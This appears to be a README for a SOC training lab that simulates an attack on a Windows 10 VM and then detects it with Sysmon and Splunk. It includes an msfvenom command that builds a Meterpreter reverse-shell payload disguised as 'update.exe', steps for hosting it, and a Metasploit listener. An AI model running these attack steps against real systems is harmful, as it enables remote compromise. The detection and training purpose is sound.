A hands-on security operations center (SOC) investigation demonstrating end-to-end threat detection, analysis, and incident response using real attack simulation, Sysmon process monitoring, and Splunk SIEM.
This lab simulates a complete attack-to-detection workflow:
- Attacker (Kali Linux) generates a malicious reverse shell payload
- Target (Windows 10) executes the payload; Sysmon captures every process, network connection, and file activity
- SIEM (Splunk) ingests and indexes Sysmon/Windows Security logs
- Analyst hunts the incident using Splunk searches and writes a forensic report
Result: A production-ready incident report with timeline, IOCs, MITRE ATT&CK mapping, and remediation recommendations.
┌─────────────────┐ ┌──────────────────┐ ┌─────────────┐
│ Kali Linux │ │ Windows 10 │ │ Splunk │
│ 192.168.1.18 │────────▶│ 192.168.1.21 │────────▶│ Huawei │
│ │ Attack │ + Sysmon │ Logs │ (SIEM) │
│ • msfvenom │ │ + Forwarder │ TCP:9997│ │
│ • Metasploit │ │ │ │ Port: 8000 │
└─────────────────┘ └──────────────────┘ └─────────────┘
- Process Monitoring: Sysmon EventID 1 captures full process lineage (parent/child), command line, file hash
- Network Detection: EventID 3 logs outbound reverse shell callback with source/dest IP:port
- Timeline Correlation: Splunk timestamps enable precise sequencing (attack occurred in ~2 seconds)
- UAC Boundaries: Demonstrated real Windows security controls (failed privilege escalation attempts)
- Field Extraction Challenges: XML-based Sysmon data requires regex for proper Splunk indexing
- Field extraction quirk: Sysmon XML elements (e.g.,
<EventID>) don't auto-extract as Splunk fields; requires| rex field=_raw "<EventID>(?<EventID>\d+)</EventID>" - Firewall defaults: Both ICMP and TCP:9997 require explicit
netsh advfirewallallow rules - UAC non-elevation: Medium-integrity admin cannot create accounts; token impersonation (getsystem) failed on patched Win10 build
See incident_report.md for the complete analysis, including:
- Executive summary
- Detailed timeline with Sysmon event IDs
- Indicators of compromise (IOCs)
- MITRE ATT&CK mapping (6 techniques identified)
- Detection opportunities
- Remediation steps
- VirtualBox or VMware Fusion
- Kali Linux ISO
- Windows 10 ISO
- 16GB+ RAM, 50GB free disk space
Both VMs must be on the same bridged network to communicate:
# VirtualBox: Settings → Network → Bridged Adapter (select your WiFi/Ethernet)Verify connectivity:
# From Kali
ping <Win10_IP>
# From Win10
ping <Kali_IP>On Windows 10:
- Download Sysmon from Microsoft Sysinternals
- Download SwiftOnSecurity's sysmonconfig-export.xml
- Install:
.\sysmon64.exe -accepteula -i sysmonconfig-export.xml- Verify in Event Viewer → Applications and Services Logs → Microsoft → Windows → Sysmon → Operational
On Splunk machine:
- Download Splunk free license edition from splunk.com
- Configure receiving port:
- Settings → Forwarding and receiving → Configure receiving → New Receiving Port: 9997
- Allow firewall:
netsh advfirewall firewall add rule name="Splunk Receiving 9997" protocol=TCP dir=in localport=9997 action=allow- Download Splunk Universal Forwarder
- Install with default options; point to indexer IP:9997
- Create/edit
C:\Program Files\SplunkUniversalForwarder\etc\system\local\inputs.conf:
[WinEventLog://Security]
disabled = 0
index = wineventlogs
[WinEventLog://System]
disabled = 0
index = wineventlogs
[WinEventLog://Application]
disabled = 0
index = wineventlogs
[WinEventLog://Microsoft-Windows-Sysmon/Operational]
disabled = 0
renderXml = true
index = win_logs- Restart SplunkForwarder service
On Kali:
# Generate payload
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<Kali_IP> LPORT=4444 -f exe -o update.exe
# Host it
python3 -m http.server 8080
# In another terminal, start listener
msfconsole
> use exploit/multi/handler
> set payload windows/x64/meterpreter/reverse_tcp
> set LHOST <Kali_IP>
> set LPORT 4444
> exploitOn Windows 10:
- Browser →
http://<Kali_IP>:8080/update.exe - Download and execute
- Watch Meterpreter session open
index=win_logs host=DESKTOP-9BB4HVN sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational"
| rex field=_raw "<EventID>(?<EventID>\d+)</EventID>"
| where EventID="1"
| search "update.exe"
This lab demonstrates 6 tactics and techniques:
- T1566.001 - Phishing: Malicious File
- T1204.002 - User Execution: Malicious File
- T1059.003 - Command and Scripting Interpreter
- T1033 - System Information Discovery
- T1087.001 - Account Discovery
- T1136.001 - Create Account (blocked by UAC)
- SIEM configuration and log ingestion (Splunk)
- Process monitoring and endpoint instrumentation (Sysmon)
- Malware simulation and exploitation (Metasploit, msfvenom)
- Log analysis and threat hunting (regex, Splunk queries)
- Timeline reconstruction and incident correlation
- MITRE ATT&CK framework mapping
- Windows security internals (UAC, privilege levels, firewall rules)
- Technical report writing for security teams
SOC-Investigation-Lab/
├── incident_report.md # Complete incident analysis
├── README.md # This file
└── sysmon_config.xml # (Optional) SwiftOnSecurity Sysmon config reference
- This lab is for education only on isolated networks
- Never use this attack simulation on systems you don't own
- UAC disabling and firewall rule changes should only be done in lab environments
- The malware payload is detected by real antivirus (expected and safe in VMs)
Author: JP13007
Last Updated: June 16, 2026
Status: Complete incident → detection → report workflow